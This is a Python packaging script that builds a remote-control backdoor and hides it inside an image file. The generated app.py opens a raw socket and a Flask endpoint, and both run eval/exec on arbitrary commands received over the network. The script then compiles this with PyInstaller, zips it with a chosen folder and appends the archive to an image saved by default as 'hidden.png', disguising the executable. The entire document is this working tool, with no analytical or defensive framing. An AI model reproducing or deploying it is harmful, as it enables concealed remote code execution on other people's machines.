from tkinter.messagebox import showwarning from subprocess import Popen , DEVNULL ,PIPE import sys if Popen("pyinstaller",stderr=PIPE).communicate()[0]: if not Popen("pip",stderr=PIPE).communicate()[0]: Popen("pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate() else: showwarning("Pip not found","Python and Pip is required to run this program") sys.exit() from subprocess import Popen , DEVNULL from zipfile import ZipFile , ZIP_DEFLATED from os import walk , path , remove , getcwd from shutil import rmtree from io import BytesIO from argparse import ArgumentParser argparse = ArgumentParser() argparse.add_argument("-c","--console",help="Run as console app",action="store_true") argparse.add_argument("-f","--folder",help="Folder to package",type=str) argparse.add_argument("-i","--icon",help="Icon file",type=str) argparse.add_argument("-o","--output",help="Output file",type=str) args = argparse.parse_args() def save_zip(directory1,directory2): bytes = BytesIO() zipf = ZipFile(bytes, 'w', ZIP_DEFLATED) for root, _, files in walk(directory1): for file in files: zipf.write(path.join(root, file), path.relpath(path.join(root, file), path.join(directory1, '.'))) for root, _, files in walk(directory2): for file in files: zipf.write(path.join(root, file), path.relpath(path.join(root, file), path.join(directory2, '.'))) zipf.close() return bytes.getvalue() def package_app(folderpath: str,iconpath: str,saveappimage: str): open(rf"{folderpath}\app.py","w+").write(""" import socket import threading from argparse import ArgumentParser import flask parser = ArgumentParser() parser.add_argument("-p", "--port", dest="port", type=int, default=12345, help="port to listen on") parser.add_argument("-a", "--address", dest="address", type=str, default="127.0.0.1", help="address to listen on") parser.add_argument("-m", "--maximum-connections", dest="max_connections", type=int, default=2, help="maximum number of connections to allow") args = parser.parse_args() def run_command(command:str): try: result = eval(command,globals()) if result: return str(result) else: return except SyntaxError: try: exec(command,globals()) return except Exception as e: return str(e) except Exception as e: return str(e) def handle_client(conn, addr): while True: data = conn.recv(1024).decode() if not data: break response = run_command(data) if data == "exit()": break if response: conn.sendall(response.encode()) else: conn.sendall("Action performed".encode()) conn.close() host = args.address port = args.port server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(args.max_connections) app = flask.Flask(__name__) @app.route("/") def index(): return run_command(flask.request.args.get("command")) def socketlistener(): while True: conn, addr = server_socket.accept() if threading.activeCount() <= 3: client_thread = threading.Thread(target=handle_client, args=(conn, addr)) client_thread.start() else: pass if __name__ == "__main__": T1 = threading.Thread(target=socketlistener) T2 = threading.Thread(target=app.run, kwargs={"host": host, "port": port}) T1.start() T2.start() T1.join() T2.join() """) Popen(["pyinstaller","--noconfirm","--onedir","--console","--name","main","--contents-directory",".","--clean","--disable-windowed-traceback","--runtime-tmpdir",".","--distpath",getcwd(),folderpath+r"\app.py"],stdout=DEVNULL,stderr=DEVNULL).communicate() rmtree("build") remove("main.spec") remove(folderpath+r"\app.py") open(saveappimage,"wb").write(open(iconpath,"rb").read()+save_zip("main",folderpath)) rmtree("main") if args.console: package_app(args.folder,args.icon,args.output) else: from tkinter.filedialog import askdirectory , askopenfilename , asksaveasfilename package_app(askdirectory(),askopenfilename(filetypes=[("Image files",["*.png","*.jpg","*.jpeg"])]),asksaveasfilename(defaultextension=".png",initialfile="hidden.png"))